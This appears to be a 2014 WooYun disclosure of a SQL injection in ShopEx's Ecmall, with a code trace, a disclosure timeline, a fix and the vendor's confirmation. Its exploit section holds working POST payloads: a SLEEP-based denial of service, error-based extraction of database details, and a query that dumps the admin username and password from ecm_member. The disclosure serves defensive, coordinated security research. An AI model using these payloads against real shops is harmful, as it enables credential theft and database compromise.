当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065284

漏洞标题:Ecmall SQL Injection 2

相关厂商:ShopEx

漏洞作者: HackBraid

提交时间:2014-06-17 18:08

修复时间:2014-09-15 18:10

公开时间:2014-09-15 18:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-17: 细节已通知厂商并且等待厂商处理中
2014-06-18: 厂商已经确认,细节仅向厂商公开
2014-06-21: 细节向第三方安全合作伙伴开放
2014-08-12: 细节向核心白帽子及相关领域专家公开
2014-08-22: 细节向普通白帽子公开
2014-09-01: 细节向实习白帽子公开
2014-09-15: 细节向公众公开

简要描述:

我认识的白帽子都是善良的,不会因为http://www.wooyun.org/bugs/wooyun-2014-064371放弃治疗厂商的。

详细说明:

记一次对serialize函数的旅行~

0x01:环境配置


1.wamp+ecmall;
2.注册账户***,并成为商家;
3.在配送方式管理上添加一个配送方式。

0x02:漏洞函数介绍


php的serialize函数,我们看它处理数组后的数据格式:
array[abcdefg]=v;
$m = serialize($array);
输出m:
a:1:{s:7:”abcdefg”;s:1:”v”;}
a表示数组格式,1表示元素个数,s:7:”abcdefg”;中s暂时不用管,7是”abcdefg”的长度。同理,s:1:”v”;中1是”v”的长度。

漏洞证明:

0x03:漏洞发现过程


问题出现在app/my_shipping.app.php下edit()函数:

/**
* 编辑配送方式
*
* @author Garbin
* @return void
*/
function edit()
{
$shipping_id = isset($_GET['shipping_id']) ? intval($_GET['shipping_id']) : 0;
if (!$shipping_id)
{
echo Lang::get('no_such_shipping');
return;
}
/* 判断是否是自己的 */
$model_shipping =& m('shipping');
$shipping = $model_shipping->get("store_id=" . $this->visitor->get('manage_store') . " AND shipping_id={$shipping_id}");
if (!$shipping)
{
echo Lang::get('no_such_shipping');
return;
}
if (!IS_POST)
{
/* 当前位置 */
$this->_curlocal(LANG::get('member_center'), 'index.php?app=member',
LANG::get('my_shipping'), 'index.php?app=my_shipping',
LANG::get('edit_shipping'));
/* 当前用户中心菜单 */
$this->_curitem('my_shipping');
/* 当前所处子菜单 */
$this->_curmenu('edit_shipping');
$this->_get_regions();
$cod_regions = unserialize($shipping['cod_regions']);
!$cod_regions && $cod_regions = array();
$this->assign('shipping', $shipping);
$this->assign('cod_regions', $cod_regions);
$this->assign('yes_or_no', array(1 => Lang::get('yes'), 0 => Lang::get('no')));
$this->import_resource('mlselection.js, jquery.plugins/jquery.validate.js');
header("Content-Type:text/html;charset=" . CHARSET);
$this->display('my_shipping.form.html');
}
else //来到else函数,也就是POST提交
{
$data = array(
'shipping_name' => $_POST['shipping_name'],
'shipping_desc' => $_POST['shipping_desc'],
'first_price' => $_POST['first_price'],
'step_price' => $_POST['step_price'],
'enabled' => $_POST['enabled'],
'sort_order' => $_POST['sort_order'],
);
$cod_regions = empty($_POST['cod_regions']) ? array() : $_POST['cod_regions'];
foreach($cod_regions as $key=>$value)
echo $key."=>".$value;
$data['cod_regions'] = serialize($cod_regions);//出现在这里,serialize序列化$cod_regions(数组)
$model_shipping =& m('shipping');
$model_shipping->edit($shipping_id, $data);//data数组被带入edit函数,我们跟进
if ($model_shipping->has_error())
{
//$this->show_warning($model_shipping->get_error());
$msg = $model_shipping->get_error();
$this->pop_warning($msg['msg']);
return;
}
$this->pop_warning('ok', 'my_shipping_edit');
}
}


进入到/eccore/model/model.base.php,跟进data数组在edit函数下的处理过程:

/**
* 简化更新操作
*
* @author Garbin
* @param array $edit_data
* @param mixed $conditions
* @return bool
*/
function edit($conditions, $edit_data)
{
if (empty($edit_data))
{
return false;
}
$edit_data = $this->_valid($edit_data);
if (!$edit_data)
{
return false;
}
$edit_fields = $this->_getSetFields($edit_data);//设置查询字段为key=>value格式,并逗号隔开返回;
$conditions = $this->_getConditions($conditions, false);//设置最后的where查询条件,指定配送的id,并返回
$this->db->query("UPDATE {$this->table} SET {$edit_fields}{$conditions}");

return $this->db->affected_rows();
}


说明:_getSetFields和_getConditions函数均在/eccore/model/model.base.php下。

0x04:可利用的exp


看到上述分析大家可能觉得也就是那么简单,其实到最后的exp构造上还是费了劲的,可能我的mysql还是没学好,大牛勿喷啊。
先说下我失败的exp:
http://localhost/ecmall/index.php?app=my_shipping&act=edit&shipping_id=21/*21是我要编辑的配送方式。*/
POST请求:(后面的exp均是post数据)

shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x


这个最终的查询语句是这样的:
UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:0:{}' WHERE shipping_id = 21
很明显cod_regions被置空了,难道是全局过滤?全局过滤没有过滤key的啊,再看看我的exp,发现cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x中”shipping_name=”已经出现一个”=”号,所以cod_regions就没能赋值成功。

1.拒绝服务payload:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or SLEEP(10)#]=x


对应的更新语句:
UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:16:"1' or SLEEP(10)#";s:1:"x";}' WHERE shipping_id = 21

2.获取mysql版本:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or updatexml(2,concat(0x7e,(version())),0)#]=v


对应的更新语句:
UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:45:"1'or updatexml(2,concat(0x7e,(version())),0)#";s:1:"v";}' WHERE shipping_id = 21
效果:

ec1.jpg


3.获取数据库名:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or extractvalue(1,concat(0x7e,database()))#]=v


效果:

ec2.jpg


4.获取管理员账户密码:


shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or (SELECT 1 FROM(SELECT count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))x from information_schema.tables group by x)a)#]=v


效果:

ec3.jpg

修复方案:

嗯,收获还是蛮多的,坚持就是胜利!
接收cod_regions参数后对key进行危险字符过滤即可

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-06-18 08:42

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无